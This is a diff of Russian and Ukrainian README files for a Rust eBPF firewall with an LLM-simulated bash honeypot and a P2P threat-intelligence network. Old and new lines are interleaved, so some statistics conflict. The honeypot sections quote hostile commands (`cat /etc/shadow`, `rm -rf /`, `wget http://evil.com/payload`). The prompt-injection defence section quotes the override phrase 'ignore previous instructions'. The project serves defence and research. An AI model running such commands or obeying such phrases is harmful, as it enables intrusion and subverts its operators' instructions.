### blackwall — Мозг (6,362 строки)
Главный демон. Загружает eBPF-программы, потребляет события из RingBuf, запускает пайплайн принятия решений.
- **Rules engine** — статический блоклист/вайтлист, CIDR-диапазоны из конфига + фиды
- **Поведенческий автомат** — профайлинг по IP: частота соединений, разнообразие портов, распределение энтропии, анализ тайминга. Фазы: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`). Детекция биконинга через целочисленный CoV
- **JA4-база** — матчинг TLS-фингерпринтов с известными вредоносными сигнатурами
- **AI-классификация** — интеграция с Ollama, модели ≤3B параметров (Qwen3 1.7B/0.6B). Батчинг событий, структурированные JSON-вердикты
- **Threat-фиды** — ингест внешних фидов (Firehol, abuse.ch)
- **PCAP-захват** — форензик-запись с ротацией + компрессией
- **Обратная связь в реальном времени** — вердикты пишутся обратно в eBPF BLOCKLIST
- **HiveMind-бридж** — подтверждённые IoC шарятся в P2P-сеть
### tarpit — Ловушка (2,179 строк)
Уровень обмана. Атакующие, перенаправленные сюда через DNAT, думают, что попали на реальный сервер.
- **Автодетекция протокола** — определяет SSH, HTTP, MySQL, DNS по первым байтам
- **Хендлеры протоколов:**
- SSH: баннер, авторизация, PTY-сессия
- HTTP: фейковый WordPress, `/wp-admin`, `.env`, реалистичные хедеры
- MySQL: хендшейк, авторизация, ответы с фейковыми данными
- DNS: правдоподобные ответы на запросы
- **LLM-симуляция bash** — каждая команда → Ollama. `ls -la` возвращает файлы, `cat /etc/shadow` — хеши, `wget` — "скачивает", `mysql -u root` — "подключается". LLM не знает, что это ханипот
- **Экспоненциальный джиттер** — чанки 1-15 байт, задержка 100мс30с. Максимум потраченного времени
- **Анти-фингерпринтинг** — рандомизированные TCP window, TTL, начальная задержка. p0f/Nmap не распознают
- **Защита от prompt injection** — 25+ паттернов, симуляция никогда не ломается
- **Credential canaries** — все введённые креды логируются
- **Управление сессиями** — состояние по соединению, история команд, трекинг CWD
### hivemind — Сеть (6,526 строк)
Децентрализованный threat intelligence на libp2p.
- **Транспорт** — QUIC + Noise-шифрование, каждое соединение аутентифицировано
- **Обнаружение пиров** — Kademlia DHT (глобальный), mDNS (локальный), конфигурируемые seed-пиры
- **Обмен IoC** — GossipSub pub/sub, распространение по сети за секунды
- **Консенсус** — N независимых подтверждений обязательны. Никакого одноисточникового доверия
- **Репутация** — пиры зарабатывают реп за хорошие IoC, теряют за фолсы. Плохие акторы слешатся
- **Защита от Sybil** — PoW-челленджи, детекция самоссылок в k-buckets, рейт-лимит регистрации
- **Федеративное обучение** — локальный тренинг + FedAvg-агрегация, шаринг градиентов (FHE-стаб)
- **Защита от data poisoning** — мониторинг распределения градиентов, детекция model inversion
- **ZKP-инфраструктура** — Groth16 стабы для trustless-верификации IoC
### hivemind-api — Enterprise-интеграция (2,711 строк)
REST API для подключения HiveMind-данных к корпоративным SIEM.
- **STIX 2.1** — стандартный формат threat intelligence
- **TAXII 2.1** — протокол обмена угрозами
- **Splunk HEC** — HTTP Event Collector
- **QRadar LEEF** — Log Event Extended Format
- **CEF** — Common Event Format
- **Тирированное лицензирование** — Basic / Professional / Enterprise / NationalSecurity
- **Лайв-статистика** — XDP-каунтеры + P2P-метрики в реальном времени
### hivemind-dashboard — Монитор (571 строка)
TUI-дашборд. Чистый ANSI — без ratatui, без crossterm, сырые escape-коды. Лайв-статус сети.
### blackwall-controller — Командный центр (356 строк)
CLI для управления несколькими сенсорами. HMAC-аутентификация (PSK). Статистика, список заблокированных IP, здоровье всех нод из одного места.
### common — Контракт (1,126 строк)
`#[repr(C)]` типы между ядром и юзерспейсом: `PacketEvent`, `RuleKey`, `TlsComponentsEvent`, `DpiEvent`, каунтеры, base64. Контракт, на котором построена вся система.
### xtask — Билд-тулы (46 строк)
`cargo xtask build-ebpf` — компиляция nightly + `bpfel-unknown-none`.
---
## Архитектура — как работает ICE
## Стек технологий
![Архитектура Blackwall](assets/architecture.svg)
| Уровень | Технология | Почему |
|---------|-----------|--------|
| Ядро | **aya-rs** (eBPF/XDP) | Чистый Rust eBPF — без C, без libbpf |
| Рантайм | **Tokio** (current_thread) | Однопоточный, без оверхеда |
| IPC | **RingBuf** | Zero-copy, 7.5% оверхед против 35% у PerfEventArray |
| Конкурентность | **papaya** + **crossbeam** | Lock-free мапы + MPMC-очереди |
| P2P | **libp2p** | QUIC, Noise, Kademlia, GossipSub, mDNS |
| Крипта | **ring** | ECDSA, SHA256, HKDF, HMAC |
| HTTP | **hyper** 1.x | Минимальный. Без веб-фреймворков |
| AI | **Ollama** | Локальный инференс, GGUF-квантизация |
| Конфиг | **TOML** | Читабельный, минимальный |
| Логирование | **tracing** | Структурированное. Zero `println!` в проде |
![Поток сигналов угроз](assets/signal-flow.svg)
На языке Cyberpunk:
- **XDP** = первый слой ICE Тёмного Заслона — решения за миллисекунды.
- **Поведенческий движок** = ИИ-наблюдение NetWatch.
- **Тарпит** = демон за Заслоном, заманивающий нетраннеров в фейковую реальность.
- **Threat Feeds** = разведка от фиксеров со всей Сети.
- **PCAP** = брейнданс-записи вторжения.
**22 зависимости.** Каждая обоснована. Без bloat-крейтов.
---
## Крейты воркспейса
## Деплой
| Крейт | Строки | Назначение | Аналог из Cyberpunk |
|-------|--------|------------|---------------------|
| `common` | ~400 | `#[repr(C)]` общие типы между ядром и юзерспейсом | Контракт — о чем обе стороны договорились |
| `blackwall-ebpf` | ~1 800 | XDP/TC программы в ядре | Сам ICE Тёмного Заслона |
| `blackwall` | ~4 200 | Юзерспейс-демон, поведенческий движок, ИИ | Центр управления NetWatch |
| `tarpit` | ~1 600 | TCP-ханипот с LLM bash-симуляцией | Демон, заманивающий нетраннеров |
| `blackwall-controller` | ~250 | Координатор распределенных сенсоров | C&C сервер Арасаки |
| `xtask` | ~100 | Инструменты сборки | Набор рипердока |
```
deploy/
docker/
Dockerfile.blackwall # Multi-stage, stripped binary
Dockerfile.ebpf # Nightly eBPF build
helm/
blackwall/ # K8s DaemonSet + ConfigMap
systemd/
server/ # Серверные юниты
laptop/ # Dev/ноутбук юниты
examples/ # Примеры конфигов
healthcheck.sh # Проверка компонентов
```
**Итого: ~8 500 строк Rust, 48 файлов, 123 теста, 0 `unwrap()` в продакшн-коде.**
---
## Ключевые фичи
### 1. Обработка пакетов на уровне ядра (XDP)
Пакеты анализируются в виртуальной машине eBPF до того, как они доберутся до TCP/IP-стека. Это решения за **наносекунды**. HashMap для блок-листов, LPM trie для CIDR-диапазонов, анализ энтропии для зашифрованного C2-трафика.
### 2. JA4 TLS-фингерпринтинг
Каждый TLS ClientHello парсится в ядре. Cipher suites, расширения, ALPN, SNI — хешируются в JA4-фингерпринт. Ботнеты используют одни и те же TLS-библиотеки, поэтому их фингерпринты идентичны. Один фингерпринт → блокируешь тысячи ботов.
### 3. Deep Packet Inspection (DPI) через Tail Calls
eBPF `PROG_ARRAY` tail calls разбивают обработку по протоколами:
- **HTTP**: Анализ метода + URI (подозрительные пути типа `/wp-admin`, `/phpmyadmin`).
- **DNS**: Длина запроса + количество лейблов (выявление DNS-туннелирования).
- **SSH**: Анализ баннера (идентификация `libssh`, `paramiko`, `dropbear`).
### 4. ИИ-классификация угроз
Когда поведенческий движок не уверен — он спрашивает LLM. Локально через Ollama с моделями ≤3B параметров (Qwen3 1.7B, Llama 3.2 3B). Классифицирует трафик как `benign`, `suspicious` или `malicious` со структурированным JSON-выходом.
### 5. TCP-тарпит с LLM Bash-симуляцией
Атакующих перенаправляют на фейковый сервер. LLM симулирует bash — `ls -la` показывает файлы, `cat /etc/shadow` показывает хеши, `mysql -u root` подключает к «базе данных». Ответы стримятся со случайным джиттером (чанки по 1-15 байт, экспоненциальный backoff), чтобы тратить время злоумышленника.
### 6. Антифингерпринтинг
Тарпит рандомизирует TCP window sizes, TTL-значения и добавляет случайную начальную задержку — чтобы атакующие не могли определить, что это ханипот, через p0f или Nmap OS detection.
### 7. Защита от Prompt Injection
Атакующие, которые поняли, что говорят с ИИ, могут попытаться `"ignore previous instructions"`. Система детектит 25+ паттернов инъекций и отвечает `bash: ignore: command not found`.
### 8. Распределенная разведка угроз
Несколько узлов Blackwall обмениваются списками заблокированных IP, JA4-наблюдениями и поведенческими вердиктами через кастомный бинарный протокол. Один узел обнаруживает сканер → все узлы блокируют его мгновенно.
### 9. Поведенческая state machine
Каждый IP получает поведенческий профиль: частота соединений, разнообразие портов, распределение энтропии, анализ таймингов (детекция beaconing через целочисленный коэффициент вариации). Прогрессия фаз: `New → Suspicious → Malicious → Blocked` (или `→ Trusted`).
---
## Технологический стек
| Уровень | Технология |
|---------|------------|
| Программы ядра | eBPF/XDP через **aya-rs** (чистый Rust, без C, без libbpf) |
| Юзерспейс-демон | **Tokio** (только current_thread) |
| IPC | **RingBuf** zero-copy (7.5% overhead против 35% PerfEventArray) |
| Конкурентные мапы | **papaya** (lock-free read-heavy HashMap) |
| ИИ-инференс | **Ollama** + GGUF Q5_K_M квантизация |
| Конфигурация | **TOML** |
| Логирование | **tracing** структурированное логирование |
| Сборка | Кастомный **xtask** + nightly Rust + `bpfel-unknown-none` таргет |
Docker multi-stage. Helm для K8s (DaemonSet, один на ноду, `CAP_BPF`). systemd для bare metal.
---
@ -171,51 +212,46 @@ eBPF `PROG_ARRAY` tail calls разбивают обработку по прот
### Требования
- Linux kernel 5.15+ с BTF (или WSL2 с кастомным ядром).
- Rust nightly + компонент `rust-src`.
- `bpf-linker` (`cargo install bpf-linker`).
- Ollama (для ИИ-функций).
- Linux 5.15+ с BTF (или WSL2 с кастомным ядром)
- Rust stable + nightly с `rust-src`
- `bpf-linker``cargo install bpf-linker`
- Ollama (опционально, для AI)
### Сборка
```bash
# eBPF-программы (нужен nightly)
cargo xtask build-ebpf
# Юзерспейс
cargo build --release -p blackwall
# Ханипот
cargo build --release -p tarpit
# Линтер + тесты
cargo clippy --workspace -- -D warnings
cargo test --workspace
````
cargo xtask build-ebpf # eBPF (nightly)
cargo build --release --workspace # весь юзерспейс
cargo clippy --workspace -- -D warnings # линт
cargo test --workspace # 298 тестов
```
### Запуск
```bash
# Демон (нужен root/CAP_BPF)
sudo RUST_LOG=info ./target/release/blackwall config.toml
# Тарпит
RUST_LOG=info ./target/release/tarpit
# Распределенный контроллер
./target/release/blackwall-controller 10.0.0.2:9471 10.0.0.3:9471
sudo RUST_LOG=info ./target/release/blackwall config.toml # нужен root/CAP_BPF
RUST_LOG=info ./target/release/tarpit # ханипот
RUST_LOG=info ./target/release/hivemind # P2P-нода
RUST_LOG=info ./target/release/hivemind-api # API threat-фидов
./target/release/hivemind-dashboard # TUI
BLACKWALL_PSK=<key> ./target/release/blackwall-controller stats <ip>:<port>
```
### Конфигурация
### Конфиг
```toml
[network]
interface = "eth0"
xdp_mode = "generic"
[thresholds]
entropy_anomaly = 6000
[tarpit]
enabled = true
port = 9999
port = 2222
base_delay_ms = 100
max_delay_ms = 30000
[tarpit.services]
ssh_port = 22
@ -227,6 +263,11 @@ dns_port = 53
enabled = true
ollama_url = "http://localhost:11434"
model = "qwen3:1.7b"
fallback_model = "qwen3:0.6b"
[rules]
blocklist = ["1.2.3.4"]
allowlist = ["127.0.0.1"]
[feeds]
enabled = true
@ -235,87 +276,127 @@ refresh_interval_secs = 3600
[pcap]
enabled = true
output_dir = "/var/lib/blackwall/pcap"
compress_rotated = true
[distributed]
enabled = false
mode = "standalone"
bind_port = 9471
psk = "your-256bit-hex-key"
```
## Визуальные результаты
---
![Визуальные результаты Blackwall](assets/results-overview.svg)
## Тарпит в действии
-----
## Связь с Cyberpunk
Во вселенной Cyberpunk 2077 **Blackwall** построили после DataKrash 2022 года — когда вирус R.A.B.I.D.S. Рейча Бартмосса уничтожил старую Сеть. NetWatch построил Тёмный Заслон как барьер, чтобы сдержать диких ИИ, эволюционировавших в руинах.
Некоторые персонажи — такие как Альт Каннингем — существуют за Тёмным Заслоном, превращенные во что-то большее, чем человек, и меньшее, чем живое существо.
Этот проект берет эту концепцию и делает ее реальной (ну, почти):
| Cyberpunk 2077 | The Blackwall (Этот проект) |
|----------------|-----------------------------|
| Тёмный Заслон | eBPF/XDP файрвол на уровне ядра |
| ICE | XDP fast-path DROP + энтропия + JA4 |
| Атаки нетраннеров | Сканирование портов, брутфорс, C2 beaconing |
| Демоны за Заслоном | LLM-тарпит, который притворяется настоящим сервером |
| Наблюдение NetWatch | Поведенческий движок + state machine на IP |
| Дикие ИИ | Ботнеты и автоматические сканеры |
| Записи Брейнданса | PCAP-форензика |
| Разведка фиксеров | Threat feeds (Firehol, abuse.ch) |
| C\&C Арасаки | Распределенный контроллер |
-----
## Статистика проекта
Подключаешься к тарпиту и видишь:
```
Язык: 100% Rust (без C, без Python, без shell-скриптов в продакшене)
Строки кода: ~8 500
Файлы: 48
Тесты: 123
unwrap(): 0 (в продакшн-коде)
Зависимости: 12 (проверенные, без лишнего)
eBPF стек: всегда ≤ 512 байт
Clippy: никаких предупреждений (-D warnings)
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:~#
```
-----
Ничего из этого не существует. LLM играет в bash. `ls` — файлы. `cat /etc/passwd` — юзеры. `mysql -u root -p` — подключение. `wget http://evil.com/payload` — загрузка.
## Философия разработки
30 минут на сервере, которого нет. Каждый кейстрок записан. IoC расшарены в сеть.
> *"Сколько бы раз я ни видел Найт-Сити... он всегда захватывает дух."*
---
1. **Никаких зависимостей, где это возможно.** Если алгоритм занимает меньше 500 строк — пишешь сам. Никакого `reqwest` (50+ транзитивных зависимостей), никакого `clap` (излишне для 2 аргументов CLI).
2. **Контракт на первом месте.** Крейт `common` определяет все общие типы. eBPF и юзерспейс никогда не спорят о структуре памяти.
3. **Никаких шорткатов в eBPF.** Каждый доступ `ctx.data()` имеет bounds check. Не потому что верификатор требует, а потому что каждый байт из пакетов атакующего — это враждебный ввод.
4. **Тарпит никогда не выдает себя.** Системный промпт LLM никогда не упоминает "ханипот". Prompt injection ожидается и заблокирован.
5. **Наблюдаемый, но не болтливый.** Структурированное tracing с уровнями. Никаких `println!` в продакшене.
## Модель безопасности
-----
- Каждый байт из пакетов = контролируемый атакующим. Все `ctx.data()` с bounds-check
- Zero `unwrap()` в проде — `?`, `expect("reason")`, или `match`
- Prompt injection: ожидается. 25+ паттернов ловится, симуляция не ломается
- P2P: Sybil guard (PoW + слешинг репутации), N-of-M консенсус по IoC
- Тарпит: TCP-рандомизация — p0f/Nmap не смогут зафингерпринтить
- Контроллер: HMAC-аутентифицированный, без неавторизованного доступа
- Ядро: рейт-лимитинг предотвращает переполнение RingBuf
- Шатдаун: чистит правила фаервола, никаких осиротевших iptables-записей
---
## Enterprise-версия
**[Blackwall Enterprise](https://github.com/xzcrpw/blackwall-enterprise)** добавляет то, чего нет ни у кого: **анализ Agent-to-Agent (A2A) трафика в реальном времени на уровне ядра.**
AI-агенты начинают общаться друг с другом — LLM-to-LLM, через MCP, A2A-протокол, агентные фреймворки. Это новая поверхность атаки: prompt injection через межагентную коммуникацию, подделка интентов, кража идентичности агентов. На рынке ничего для этого нет. Blackwall Enterprise — первый и единственный такой модуль.
**~8,400 строк Rust.** Отдельный репозиторий, отдельная лицензия.
| Компонент | Что делает |
|-----------|-----------|
| **A-JWT Валидация** | Верификация Agentic JWT по IETF-драфту. Проверка подписи через `ring`, предотвращение реплея, кеширование ключей |
| **Верификация интентов** | Исчерпывающий матчинг полей — `max_amount`, `allowed_recipients` (glob), allowlist действий |
| **Чексума агента** | SHA256(system_prompt + tools_config) — тамперинг = мгновенный блок |
| **Proof-of-Possession** | cnf/jwk ECDSA-привязка — доказывает, что агент держит свой ключ |
| **eBPF Uprobes** | Хуки в OpenSSL/GnuTLS `SSL_write`/`SSL_read` — перехватывает A2A-плейнтекст без разрыва TLS |
| **Risk-Based Routing** | Конфигурируемые policy: allow / review / block по уровню риска |
| **ZK Proofs** | Аттестация нарушений без раскрытия сырого трафика (Groth16) |
| **P2P Gossip** | Proof нарушений бродкастятся в HiveMind-меш |
**Лицензирование:** [xzcrpw1@gmail.com](mailto:xzcrpw1@gmail.com)
---
## Статистика
```
Язык: 100% Rust
Всего: ~21,200 строк
Файлов: 92 .rs
Крейтов: 10
Тестов: 298
unwrap(): 0 в проде
Зависимостей: 22 (проаудированные)
eBPF-стек: ≤ 512 байт всегда
Clippy: -D warnings, ноль проблем
CI: check + clippy + tests + eBPF nightly build
```
---
## Киберпанк-справочник
| Cyberpunk 2077 | Этот проект |
|----------------|-----------|
| The Blackwall | Файрвол на уровне ядра eBPF/XDP |
| ICE | XDP fast-path: энтропия + JA4 + DPI + DNAT |
| Демоны | LLM-тарпит — фейковый сервер за стеной |
| NetWatch | Поведенческий движок + автомат по IP |
| Rogue AIs | Ботнеты, сканеры, C2-биконы |
| Braindance | PCAP-форензика |
| Коллектив нетраннеров | HiveMind P2P-меш |
| Инфа от фиксеров | Threat-фиды |
| Arasaka C&C | Распределённый контроллер |
---
## Дисклеймер
Это исследовательский проект в сфере безопасности. Создан для вашей собственной инфраструктуры, в оборонительных целях. Не используйте для атак на других. Не развертывайте тарпит на продакшн-серверах, не понимая последствий.
Исследовательский проект в сфере безопасности. Для защиты вашей собственной инфраструктуры. Не используйте против других.
Я не аффилирован с CD Projekt Red. Я просто сыграл в их игру, и она сломала мне мозг лучшим из возможных способов.
Не аффилирован с CD Projekt Red. Просто игра, которая перепрошила мой мозг наилучшим образом.
-----
---
## Лицензия
BSL 1.1 — потому что Сеть нуждается и в свободе, и в устойчивом развитии.
**BSL 1.1** (Business Source License)
-----
Лицензиар: Vladyslav Soliannikov
Change Date: April 8, 2030
Change License: Apache-2.0
---
<p align="center">
<strong>Хотите, чтобы это развивалось дальше? — <a href="https://github.com/xzcrpw/blackwall">Поставьте звезду!</a></strong>
<strong>Нравится? <a href="https://github.com/xzcrpw/blackwall">Ставь звезду</a></strong>
</p>
<p align="center">
<strong><em>"Проснись, самурай. Нам еще сеть защищать."</em></strong>
<strong><em>"Просыпайся, самурай. У нас сеть — защищать."</em></strong>
</p>

View file

@ -8,212 +8,250 @@
<p align="center">
<img src="https://readme-typing-svg.herokuapp.com?font=JetBrains+Mono&weight=800&size=45&duration=3000&pause=1000&color=FF0000&center=true&vCenter=true&width=600&lines=THE+BLACKWALL" alt="The Blackwall">
<br>
<em>Адаптивний eBPF-файрвол з AI-ханіпотом</em>
<em>Адаптивний eBPF файрвол з AI-ханіпотом та P2P загрозовою мережею</em>
</p>
# The Blackwall — Я написав розумний файрвол, бо Cyberpunk 2077 зламав мені мозок
# The Blackwall — Я побудував справжній Блеквол, бо Cyberpunk 2077 зламав мені мозок
<p align="center">
<img src="https://img.shields.io/badge/мова-Rust-orange?style=for-the-badge&logo=rust" />
<img src="https://img.shields.io/badge/ядро-eBPF%2FXDP-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/ШІ-Ollama%20LLM-green?style=for-the-badge" />
<img src="https://img.shields.io/badge/вайб-Cyberpunk-red?style=for-the-badge" />
<img src="https://img.shields.io/badge/language-Rust-orange?style=for-the-badge&logo=rust" />
<img src="https://img.shields.io/badge/kernel-eBPF%2FXDP-blue?style=for-the-badge" />
<img src="https://img.shields.io/badge/AI-Ollama%20LLM-green?style=for-the-badge" />
<img src="https://img.shields.io/badge/P2P-libp2p-purple?style=for-the-badge" />
<img src="https://img.shields.io/badge/vibe-Cyberpunk-red?style=for-the-badge" />
</p>
<p align="center">
<em>"За Чорною Стіною є речі, від погляду на які нетраннер миттєво згорить."</em><br>
<strong>— Альт Каннінгем, імовірно</strong>
<em>"За Блекволом є речі, від погляду на які у нетраннера вигорить мозок."</em><br>
<strong>— Альт Каннінгем, мабуть</strong>
</p>
<p align="center">
<strong>Зараз будую enterprise AI-автоматизацію в <a href="https://dokky.com.ua">Dokky</a></strong><br>
<strong>Відкритий для Enterprise Consulting & Y-Combinator: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
<strong>Enterprise ліцензування та консалтинг: <a href="mailto:xzcrpw1@gmail.com">xzcrpw1@gmail.com</a></strong>
</p>
-----
---
**Коротко:** я грав у Cyberpunk 2077 і подумав: *"А що, якби Blackwall був справжнім?"* Тож я написав адаптивний eBPF-файрвол із ШІ-ханіпотом, який вдає із себе зламаний Linux-сервер.
**\~8 500 рядків Rust. Жодного `unwrap()`. Одна людина.**
**TL;DR:** Грав у Cyberpunk, надихнувся, написав цілий адаптивний файрвол, що працює всередині ядра Linux, ловить загрози за допомогою AI, заманює атакерів у фейковий сервер на базі LLM, і ділиться загрозовою інфою через децентралізовану P2P-мережу.
**~21к рядків Rust. 298 тестів. 10 крейтів. Одна людина.**
-----
---
## Що це таке?
## Що це?
У лорі Cyberpunk 2077 **Blackwall (Чорна Стіна)** — це цифровий бар'єр, побудований NetWatch, щоб відділити цивілізовану Мережу від диких ШІ — цифрових створінь настільки небезпечних, що один погляд на них може спалити тобі мозок через нейроінтерфейс.
**The Blackwall** — назва від цифрового бар'єру з Cyberpunk 2077, який тримає рогів AI від цивілізованого Нету.
Цей проєкт — моя версія. Не від диких ШІ (поки що), а від реальних загроз.
Моя версія. Багаторівнева система захисту, яка не просто блокує загрози — вона їх вивчає, ловить в пастку і розповідає про них кожному іншому вузлу.
**The Blackwall** — це **адаптивний мережевий файрвол**, який:
Три ключові рівні, що працюють разом:
- Працює **всередині ядра Linux** через eBPF/XDP — обробляє пакети на швидкості лінії ще до того, як вони потрапляють у мережевий стек.
- Виконує **JA4 TLS-фінгерпринтинг** — ідентифікує зловмисних клієнтів за їхнім ClientHello.
- **Не просто блокує атакуючих** — він *перенаправляє їх у тарпіт*, фейковий Linux-сервер на базі LLM, який грає роль зламаного `root@web-prod-03`.
- Має **поведінковий рушій**, що відстежує поведінку кожної IP-адреси із часом — патерни сканування портів, інтервали beacon-з'єднань, аномалії ентропії.
- Підтримує **розподілений режим** — декілька вузлів Blackwall обмінюються даними про загрози peer-to-peer.
- Записує **PCAP** підозрілого трафіку для форензики.
- Включає **Deception Mesh** — підроблені SSH, HTTP (WordPress), MySQL та DNS-сервіси, щоб заманювати та фінгерпринтити атакуючих.
**1. Файрвол на рівні ядра (eBPF/XDP)** — аналіз пакетів відбувається всередині ядра Linux ще до того, як трафік потрапить в мережевий стек. Рішення за наносекунди. Ентропійний аналіз, TLS-фінгерпринтинг, глибока інспекція пакетів, рейт-лімітинг, трекінг з'єднань — все працює в BPF віртуальній машині.
### Найцікавіша частина
**2. AI-ханіпот (Tarpit)** — замість того, щоб просто дропати зловмисний трафік, він перенаправляється на фейковий Linux-сервер. LLM симулює bash, відповідає на команди, подає фейкові файли, грає роль зламаного `root@web-prod-03`. Атакери витрачають свій час, поки все записується.
Коли зловмисник підключається до тарпіту, він бачить:
**3. P2P загрозова мережа (HiveMind)** — вузли знаходять один одного, обмінюються IoC через зашифровану libp2p-мережу, голосують за загрози через консенсус, трекають репутацію пірів. Одна нода ловить сканер — всі інші дізнаються за секунди.
Плюс: розподілений контролер сенсорів, API для інтеграції з SIEM (STIX/TAXII/Splunk/QRadar/CEF), TUI-дашборд, поведінковий профайлінг по кожному IP, інгест загрозових фідів, PCAP-форензіка.
---
## Архітектура
![Blackwall Architecture](assets/architecture.svg)
![Threat Signal Flow](assets/signal-flow.svg)
**Пайплайн:**
```
Ubuntu 24.04.2 LTS web-prod-03 tty1
web-prod-03 login: root
Password:
Last login: Thu Mar 27 14:22:33 2025 from 10.0.0.1
root@web-prod-03:~#
Пакет приходить
→ XDP: ентропія, блокліст/вайтліст, CIDR, рейт-ліміт, JA4, DPI
→ RingBuf (zero-copy) → Демон в юзерспейсі
→ Статичні правила → Поведінковий автомат → JA4 БД → LLM класифікація
→ Вердикт: PASS / DROP / REDIRECT_TO_TARPIT
→ eBPF BLOCKLIST оновлюється в реальному часі
→ IoC розшарюється в HiveMind P2P-мережу
```
Це все несправжнє. Це LLM, що прикидається bash-ем. Він реагує на `ls`, `cat /etc/passwd`, `wget`, навіть `rm -rf /`усе фейкове, усе логується, усе створене, щоб марнувати час атакуючого, поки ми вивчаємо його методи.
---
**Уявіть: зловмисник витрачає 30 хвилин, досліджуючи «зламаний сервер»... який насправді є ШІ, що тягне час, поки Blackwall мовчки записує все.**
## Що робить кожен крейт
Це нетраннерство рівня V.
### blackwall-ebpf — Рівень ядра (1,334 рядки)
-----
eBPF-програми на XDP-хуку — найраніша точка, де можна торкнутись пакета. Працює під жорсткими правилами BPF-верифікатора: 512 байт стеку, без хіпа, без float, тільки обмежені цикли.
## Архітектура — як працює ICE
- **Розрахунок ентропії** — частотний аналіз байтів, цілочисельна ентропія Шеннона (07936). Висока ентропія на не-TLS портах → зашифрований C2-трафік
- **TLS-фінгерпринтинг** — парсить ClientHello, витягує cipher suites, extensions, ALPN, SNI → JA4-відбиток. Один фінгерпринт покриває тисячі ботів з тією ж TLS-лібою
- **DPI через tail calls**`PROG_ARRAY` диспатчить протокольні аналізатори:
- HTTP: метод + URI (ловить `/wp-admin`, `/phpmyadmin`, path traversal)
- DNS: довжина запиту + кількість лейблів (детекція DNS-тунелювання)
- SSH: фінгерпринтинг банера (`libssh`, `paramiko`, `dropbear`)
- **DNAT-редірект** — підозрілий трафік тихо NAT'иться на тарпіт. Атакер не знає, що покинув реальний сервер
- **Трекінг з'єднань** — stateful TCP-моніторинг, LRU-мап (16K записів)
- **Рейт-лімітинг** — per-IP token bucket, запобігає флуду і переповненню RingBuf
- **4 RingBuf-канали** — EVENTS, TLS_EVENTS, EGRESS_EVENTS, DPI_EVENTS
![Архітектура Blackwall](assets/architecture.svg)
Мапи: `BLOCKLIST`, `ALLOWLIST`, `CIDR_RULES`, `COUNTERS`, `RATE_LIMIT`, `CONN_TRACK`, `NAT_TABLE`, `TARPIT_TARGET`, `PROG_ARRAY`, плюс 4 RingBuf-мапи.
![Потік сигналів загроз](assets/signal-flow.svg)
### blackwall — Мозок (6,362 рядки)
Мовою Cyberpunk:
Головний демон. Завантажує eBPF-програми, споживає евенти з RingBuf, запускає пайплайн рішень.
- **XDP** = перший шар ICE Чорної Стіни — рішення за мілісекунди.
- **Поведінковий рушій** = ШІ-спостереження NetWatch.
- **Тарпіт** = демон за стіною, що заманює нетраннерів у фейкову реальність.
- **Threat Feeds** = розвідка від фіксерів з усієї Мережі.
- **PCAP** = брейнданс-записи вторгнення.
- **Rules engine** — статичний блокліст/вайтліст, CIDR-діапазони з конфіга + фіди
- **Поведінковий автомат** — профайлінг по IP: частота з'єднань, різноманіття портів, розподіл ентропії, аналіз таймінгу. Фази: `New → Suspicious → Malicious → Blocked` (або `→ Trusted`). Детекція біконінгу через цілочисельний CoV
- **JA4-база** — матчинг TLS-фінгерпринтів з відомими шкідливими сигнатурами
- **AI-класифікація** — інтеграція з Ollama, моделі ≤3B параметрів (Qwen3 1.7B/0.6B). Батчинг евентів, структуровані JSON-вердикти
- **Загрозові фіди** — інгест зовнішніх фідів (Firehol, abuse.ch)
- **PCAP-захоплення** — форензічний запис з ротацією + компресією
- **Зворотний зв'язок у реальному часі** — вердикти пишуться назад у eBPF BLOCKLIST
- **HiveMind-бридж** — підтверджені IoC шарються в P2P-мережу
-----
### tarpit — Пастка (2,179 рядків)
## Крейти воркспейсу
Рівень обману. Атакери, перенаправлені сюди через DNAT, думають, що потрапили на реальний сервер.
| Крейт | Рядки | Призначення | Аналог із Cyberpunk |
|-------|-------|-------------|---------------------|
| `common` | \~400 | `#[repr(C)]` спільні типи між ядром і юзерспейсом | Контракт — про що обидві сторони домовились |
| `blackwall-ebpf` | \~1 800 | XDP/TC програми в ядрі | Сам ICE Чорної Стіни |
| `blackwall` | \~4 200 | Юзерспейс-демон, поведінковий рушій, ШІ | Центр управління NetWatch |
| `tarpit` | \~1 600 | TCP-ханіпот з LLM bash-симуляцією | Демон, що заманює нетраннерів |
| `blackwall-controller` | \~250 | Координатор розподілених сенсорів | C\&C сервер Арасаки |
| `xtask` | \~100 | Інструменти збірки | Набір ріпердока |
- **Авто-детекція протоколу** — визначає SSH, HTTP, MySQL, DNS по першим байтам
- **Хендлери протоколів:**
- SSH: банер, авторизація, PTY-сесія
- HTTP: фейковий WordPress, `/wp-admin`, `.env`, реалістичні хедери
- MySQL: хендшейк, авторизація, відповіді з фейковими даними
- DNS: правдоподібні відповіді на запити
- **LLM-симуляція bash** — кожна команда → Ollama. `ls -la` повертає файли, `cat /etc/shadow` — хеші, `wget` — "завантажує", `mysql -u root` — "підключається". LLM не знає, що це ханіпот
- **Експоненціальний джиттер** — чанки 1-15 байт, затримка 100мс30с. Максимум витраченого часу
- **Анти-фінгерпринтинг** — рандомізовані TCP window, TTL, початкова затримка. p0f/Nmap не розпізнають
- **Захист від prompt injection** — 25+ паттернів, симуляція ніколи не ламається
- **Credential canaries** — всі введені креди логуються
- **Управління сесіями** — стан по з'єднанню, історія команд, трекінг CWD
**Разом: \~8 500 рядків Rust, 48 файлів, 123 тести, 0 `unwrap()` у продакшн-коді.**
### hivemind — Мережа (6,526 рядків)
-----
Децентралізований threat intelligence на libp2p.
## Ключові фічі
- **Транспорт** — QUIC + Noise-шифрування, кожне з'єднання автентифіковане
- **Пошук пірів** — Kademlia DHT (глобальний), mDNS (локальний), конфігуровані seed-піри
- **Обмін IoC** — GossipSub pub/sub, пропагація по мережі за секунди
- **Консенсус** — N незалежних підтверджень обов'язкові. Ніякої одноджерельної довіри
- **Репутація** — піри заробляють реп за хороші IoC, втрачають за фолси. Погані актори слешуються
- **Захист від Sybil** — PoW-челенджі, детекція самопосилань в k-buckets, рейт-ліміт реєстрації
- **Федеративне навчання** — локальний тренінг + FedAvg-агрегація, шарінг градієнтів (FHE-стаб)
- **Захист від data poisoning** — моніторинг розподілу градієнтів, детекція model inversion
